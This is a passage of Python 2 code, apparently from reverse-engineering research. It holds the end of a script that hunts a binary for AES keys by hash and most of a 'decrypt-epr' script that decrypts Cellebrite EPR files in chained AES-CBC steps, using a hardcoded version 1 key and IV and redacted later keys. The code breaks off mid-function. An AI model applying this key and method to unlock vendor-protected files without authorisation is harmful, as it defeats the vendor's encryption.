&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print keyMap[basename(o.file)]["offsets"]["aes"]["key"] + 
keyMap[basename(o.file)]["offsets"]["aes"]["iv"]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foundKey, foundIV, foundMap = False, False, False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for i in xrange(0, len(keyMap[basename(o.file)])):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for pos in xrange(0,len(fileData)):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nextDWORD = hexlify(fileData[pos:pos+4])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["keyHash"] and not
foundKey):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foundKey = True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; aesKey = hexlify(fileData[pos:pos+32])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print "[+] Found key at {}. Value: {}".format(hex(pos),aesKey)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["ivHash"] and not
foundIV):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foundIV = True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; aesIV = hexlify(fileData[pos:pos+16])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print "[+] Found IV at {}. Value: {}".format(hex(pos),aesIV)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["mapHash"] and not 
foundMap):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foundMap = True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; aesMap = hexlify(fileData[pos:pos+keyMap[basename(o.file)][i]["offsets"]["mapSize"]])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print "[+] Found map at {}. Value: {}".format(hex(pos),aesMap)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (foundKey and foundIV and foundMap):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pos+=1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except Exception as e:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print "[!] Could not read the specified file. Reason: {}".format(e)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(0)

&nbsp;&nbsp;&nbsp;&nbsp; Script Name: decrypt-epr

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #!/usr/bin/python
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from logging.handlers import TimedRotatingFileHandler
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from optparse import OptionParser
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from os.path import exists, getsize, dirname, realpath
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from os.path import join as path_join
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from os import system, remove
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from shutil import move
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from Crypto.Cipher import AES
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from binascii import unhexlify, hexlify
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from hashlib import sha256
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; import sys
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; import logging
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logging.basicConfig(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; format="%(asctime)s [%(levelname)s] %(message)s",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; level=logging.INFO,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; handlers=[
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimedRotatingFileHandler(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; path_join(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dirname(realpath(__file__)),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "logger.log",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; interval=1,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logging.StreamHandler(sys.stdout),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ],
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger = logging.getLogger(__name__)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bs = AES.block_size
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class EPR:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def __init__(self, file, version, verbose):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v1_aes_key = "0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054" # Already public
information
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v1_aes_iv = "888c609edc9eb9dfb4d30dfebc9f0431"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Already public
information
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v2_aes_key = "[REDACTED]"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v2_aes_iv = "[REDACTED]"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v3_aes_key = self.epr_v2_aes_key
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v3_aes_iv = self.epr_v2_aes_iv
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v2_aes_map = "[REDACTED]"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v3_aes_map = "[REDACTED]"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v3_aes_iv_two = None
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.file = file or False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.version = version
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.encrypted_file = None
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.encrypted_epr = None
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.encrypted_magic = None
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.decrypted_epr = None
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.final_epr = b''
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.logging = verbose
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def file_exists(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not self.file:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return exists(self.file)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def can_read_file(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return getsize(self.file)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def read_entire_file(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fp = open(self.file,'rb')
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.encrypted_file = fp.read()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fp.close()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except Exception as e:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.error("[!] Encountered an exception. Reason: {}".format(e))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def flat_decrypt(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.encrypted_magic = self.encrypted_file[:21]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (self.encrypted_magic[:-2] == "Cellebrite EPR File"):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.encrypted_epr = self.encrypted_file[21:]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.version == 1:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; crypter = AES.new(unhexlify(self.epr_v1_aes_key),AES.MODE_CBC,unhexlify(self.epr_v1_aes_iv))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; crypter = AES.new(unhexlify(self.epr_v3_aes_key),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.decrypted_epr = crypter.decrypt(self.encrypted_epr)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.version == 2:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v2_aes_iv_two = hexlify(self.decrypted_epr[32:48])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; elif self.version == 3:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v3_aes_iv_two = hexlify(self.decrypted_epr[32:48])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pass
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except Exception as e:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.error("[!] Encountered an exception. Reason: {}".format(e))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def calc_sha256_dword(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to_xor_a = hexlify(self.decrypted_epr[24:28])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to_xor_a = [to_xor_a[i:i+2] for i in range(0, len(to_xor_a), 2)]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to_xor_b = hexlify(self.decrypted_epr[28:32])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to_xor_b = [to_xor_b[i:i+2] for i in range(0, len(to_xor_b), 2)]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xored_1 = int(to_xor_a[-1],16) ^ int(to_xor_b[-1],16)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xored_1 = "{0:0{1}x}".format(xored_1,2)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xored_2 = int(to_xor_a[-2],16) ^ int(to_xor_b[-2],16)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xored_2 = "{0:0{1}x}".format(xored_2,2)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xored_3 = int(to_xor_a[-3],16) ^ int(to_xor_b[-3],16)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xored_3 = "{0:0{1}x}".format(xored_3,2)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xored_4 = int(to_xor_a[-4],16) ^ int(to_xor_b[-4],16)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xored_4 = "{0:0{1}x}".format(xored_4,2)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (self.version == 2):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v2_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v2_sha256_flag))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v3_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v3_sha256_flag))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except Exception as e:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.error("[!] Encountered an exception. Reason: {}".format(e))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def key_map_check(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; found = False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (self.version == 2):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for i in range(0, len(self.epr_v2_aes_map), 64):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hash = sha256(unhexlify(self.epr_v2_aes_map[i:i+64])).hexdigest()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (hash.endswith(self.epr_v2_sha256_flag)):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v2_sha256_flag))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; found = True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v2_aes_key_two = self.epr_v2_aes_map[i:i+64]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for i in range(0, len(self.epr_v3_aes_map), 64):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hash = sha256(unhexlify(self.epr_v3_aes_map[i:i+64])).hexdigest()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (hash.endswith(self.epr_v3_sha256_flag)):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v3_sha256_flag))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; found = True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v3_aes_key_two = self.epr_v3_aes_map[i:i+64]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return found
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def decrypt_key(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (self.version == 2):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; crypter = AES.new(unhexlify(self.epr_v2_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_two))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v2_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v2_aes_iv_three = hexlify(self.decrypted_epr[112:128])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; crypter = AES.new(unhexlify(self.epr_v3_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_two))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.epr_v3_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
